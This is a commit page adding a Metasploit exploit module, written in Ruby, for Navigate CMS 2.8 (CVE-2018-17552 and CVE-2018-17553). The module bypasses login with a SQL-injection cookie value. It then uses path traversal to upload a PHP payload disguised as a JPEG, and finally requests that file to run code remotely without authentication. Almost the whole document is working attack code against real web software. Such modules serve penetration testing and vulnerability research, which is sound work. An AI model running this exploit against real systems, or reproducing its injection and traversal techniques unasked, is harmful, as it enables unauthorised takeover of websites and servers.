Add Navigate CMS Unauthenticated Remote Code Execution

GSoC/Meterpreter_Web_Console
Pyriphlegethon 2018-09-26 21:39:15 +02:00
parent a38080528b
commit f882c3aec2
1 changed files with 116 additions and 0 deletions

View File

@ -0,0 +1,116 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Navigate CMS Unauthenticated Remote Code Execution',
'Description' => %q(
This module exploits insufficient sanitization in the database::protect
method to bypass authentication.
It then uses a path traversal vulnerability in navigate_upload.php that
allows authenticated users to upload PHP files to arbitrary locations.
Together these vulnerabilities allow an unauthenticated attacker to
execute arbitrary PHP code remotely.
This module was tested against Navigate CMS 2.8.
),
'Author' =>
[
'Pyriphlegethon' # Discovery / msf module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2018-17552'], # Authentication bypass
['CVE', '2018-17553'] # File upload
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' => {},
'Targets' =>
[
['Automatic', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 26 2018'))
register_options(
[
OptString.new('TARGETURI', [true, 'Base Navigate CMS directory path', '/navigate/'])
]
)
end
def check
check_resp = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/login.php')
)
if check_resp && check_resp.body.include?('Navigate CMS v2.8')
return CheckCode::Appears
end
return CheckCode::Safe
end
def exploit
init = send_request_cgi(
'method' => 'POST',
'cookie' => 'navigate-user=\" OR TRUE--%20',
'uri' => normalize_uri(target_uri.path, '/login.php')
)
fail_with(Failure::Unreachable, 'Unable to reach target') unless init
session_id = init.get_cookies_parsed
.values.select { |v| v.to_s =~ /NVSID_/ }.first
if init.code == 302 && session_id
print_good('Login bypass successful')
else
fail_with(Failure::NoAccess, 'Login bypass failed')
end
php = %(<?php #{payload.encoded} ?>)
data = Rex::MIME::Message.new
data.add_part(php, 'image/jpeg', nil,
'form-data; name="file"; filename="test.jpg"')
data_post = data.to_s
upload = send_request_cgi(
'method' => 'POST',
'cookie' => init.get_cookies,
'vars_get' => Hash[{
'session_id' => session_id,
'engine' => 'picnik',
'id' => '../../../navigate_info.php'
}.to_a.shuffle],
'uri' => normalize_uri(target_uri.path, '/navigate_upload.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data_post
)
fail_with(Failure::Unreachable, 'Unable to reach target') unless upload
if upload.code == 200
print_good('Upload successful')
else
fail_with(Failure::Unknown, 'Upload unsuccessful')
end
print_status('Triggering payload...')
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/navigate_info.php')
)
end
end